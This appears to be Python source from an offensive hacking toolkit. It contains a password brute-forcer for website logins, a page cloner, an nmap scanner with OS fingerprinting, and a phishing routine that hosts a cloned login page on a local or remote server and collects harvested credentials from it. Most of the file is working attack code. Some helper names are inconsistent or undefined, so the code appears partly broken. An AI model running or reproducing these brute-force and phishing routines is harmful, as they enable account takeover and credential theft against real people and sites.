def run(): ''' Starts the bruteforce attack :return: void ''' global slash, dir slash = includes.command(setup.commands, 'slash') dir = 'data%sBruteForce' % slash print('''BruteForce for websites Can run with proxychains for linux users, to use the functionality edit to "On" the value of the proxychains variable in the Setup/setup.py file''' ) proxychains = 0 if os.name != "nt": proxychains = includes.check_proxychains(proxychains) inputURL = str(input('url: ')) url, name = includes.construct_url(inputURL) headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', } payload = {} cookie = {} passFile_input_descriptio() passFile = str(input('password file: ')) if passFile == '': passFile = dir + slash + 'passwords.txt' elif '-d' in passFile: print("Taking the password file from the spicified path") else: passFile = dir + slash + passFile file = open(passFile, 'r') print(passFile) email = input('Email/Username : ') print("\nTarget Email ID : ", email) print("\nTrying Passwords from list %s ..." % passFile) i = 0 while file: passw = file.readline().strip() i += 1 if len(passw) < 6: print( "[-] Password must have a minimal lenght of 6.\n Skipping password" ) continue print(str(i) + " : ", passw) if function(email, passw, i, headers, url, proxychains): break
def clone(): ''' Clone the page qsked by the user :return: filename of the stored html cloned file: str ''' slash = include.command(commands, 'slash') dir = "data%sCloned" % slash url = str(input("URL to clone: ")) site, name = include.construct_url(url) if os.path.isdir(dir) == False: os.system("mkdir data%sCloned" % slash) # Check if the the page has been already cloned if os.path.isfile("%s%s%s.html" % (dir, slash, name)): print('[+] %s page already cloned' % name) print('[+] The html %s file is stored in %s' % (name, dir)) time.sleep(10) return dir + slash + name + ".html" page = requests.get(site) fileName = '%s%sTemp.html' % (dir, slash) os.system('%s %s' % (include.command(commands, 'create'), fileName)) f = open(fileName, 'wb') f.write(page.text.encode('utf-8')) f.close() include.HTMLParser(fileName, "%s%s%s.html" % (dir, slash, name)) os.system("%s %s" % (include.command(commands, 'remove'), fileName)) print('[*] Cloning site %s ....' % site) time.sleep(1) print('[+] Site %s cloned' % site) print('[+] Cloning completed, the html file is stored in %s%s%s.html' % (dir, slash, name)) time.sleep(5) return dir + slash + name + ".html"
def pip_installation(): ''' Checks is pip is intalled, if it istalls it :return: void ''' version = '' os.system('python --version "$1" > tempFile 2>&1') pythonVersion = open('tempFile', 'r').readline().split("Python ")[1].strip('\n') #pythonVersion = open('tempFile', 'r').readline().split("python ")[1].split(")")[0] if '3' in pythonVersion: version = "" elif '2' in pythonVersion: version = '3' os.system(includes.command(setup.commands, 'remove') + " tempFile") try: os.system("pip%s --version" % version) except: print("[-] pip is not installed") print("[*] Trying to install pip.....") if os.name == 'nt': try: os.system("python%s -m ensurpip --default-pip" % version) print("[+] pip has been succeffuly installed") # Restart the Script os.execv(sys.executable, [sys.executable] + sys.argv) except: print("[-] Some issues occored while installing pip") print("[-] Unable to install pip") sys.exit(0) elif os.name == 'posix': cmd = "" if os.path.isfile('/etc/os-release'): cmd = 'sudo apt-get install python%s-pip' % version else: cmd = 'brew install pip%s' % version try: os.system(cmd) print('[+] pip has been succeffuly installed') # Restart the Script os.execv(sys.executable, [sys.executable] + sys.argv) except: print('[-] Some issues occored while installing pip') print('[-] Unable to install pip') sys.exit(0)
def scanner(): ''' Runs the scanner ''' slash = include.command(setup.commands, 'slash') dir = "data%sInformationGathering" % slash target = str(input('target to scan: ')) port = str(input('port where to scan: ')) try: nm_scan = nmap.PortScanner() except: print("[-] An error occorred while initiating the scan") time.sleep(1) print("Exiting the attack....") time.sleep(5) return try: nm_scanner = nm_scan.scan(target, port, arguments='-O') # -O argument for OS finger printing except: print("[-] Incorrect host %s" % target) time.sleep(2) print("Exiting the attack....") time.sleep(5) return host_is_up = "The host is : " + nm_scanner['scan'][target]['status']['state'] + '\n' port_is_open = "The port %s is : %s" % (port, nm_scanner['scan'][target]['tcp'][int(port)]['state']) + "\n" methos_scan = "The method of scanning is : " + nm_scanner['scan'][target]['tcp'][int(port)]['reason'] + "\n" # Checks on the existence and craeation if necessary if os.path.isdir(dir) == False: os.system('mkdir %s' % dir) var = 'w' if os.path.isfile(dir + target + ".txt"): var = 'a' with open(dir + target + ".txt", var) as f: f.write('\n') f.write(host_is_up + port_is_open + methos_scan) f.write("\nReport generated " + time.strftime("%Y-%m-%d_%H:%M:%S GMT", time.gmtime())) f.write('\n') print("[+] The scan on %s and port %s completed succeffuly.\n The results are in /data/%s.txt" %(target, port, target))
def fish(): ''' Fishing attack :return: void ''' ### Deal with the output file slash = include.command(commands, 'slash') outputFile = str(input("output file: ")) dir = "data%sFishing" % slash fileName = dir + slash + outputFile # Checks on the existence and craeation if necessary if os.path.isdir(dir) == False: os.system('mkdir %s' % dir) fileName = include.ifexists(fileName) # Clone the page and do the necessary edits page = clone() # Host server host = str(input('Host server (localhost for the IP of our machine): ')) localAdress = include.get_ip()[1] files = {'file': open(page)} if host == 'localhost' or host == localAdress: version = "" f = open('Setup%sserver.config' % slash, 'r') for line in f: if '#' not in line: if 'MAMP' in line: version = 'MAMP' elif 'XAMPP' in line: version = 'XAMPP' elif 'Linux' in line: version = 'linux' if version == 'linux': try: os.system('sudo service apache2 start') except: print("[-] Cannot start the apache server.") print("[-] Exiting the attack") return try: r = requests.post(host + ":8888/index.php", files=files) except Exception as e: print(e) print('[-] Unable to send the cloned page to the server') print('[-] Exiting the attack') time.sleep(5) return else: try: r = requests.post("http://" + host + "/index.php", files=files) except Exception as e: print(e) print('[-] Unable to send the cloned page to the server') print('[-] Exiting the attack') time.sleep(5) print("[+] File sent to the server") target_URL = host + slash + "temp.txt" while 1: try: print("[*] Listening on http//%s ...." % host) data = urllib.request.urlopen(target_URL) break except: time.sleep(5) if not data: print("[-] Unable to recieve the data") print("[-] Exiting the attack") return print("[+] Data reveived") f = open(fileName, 'w') for line in data: f.write(line.decode("utf-8")) f.close() print('[+] Fishing completed, the file is stored as: %s' % fileName) if version == 'Linux': os.system('sudo service apache2 stop')
def printt(self, cmd): print(includes.command(setup.commands, cmd))
def clear_screen(self): os.system(includes.command(setup.commands, 'clear'))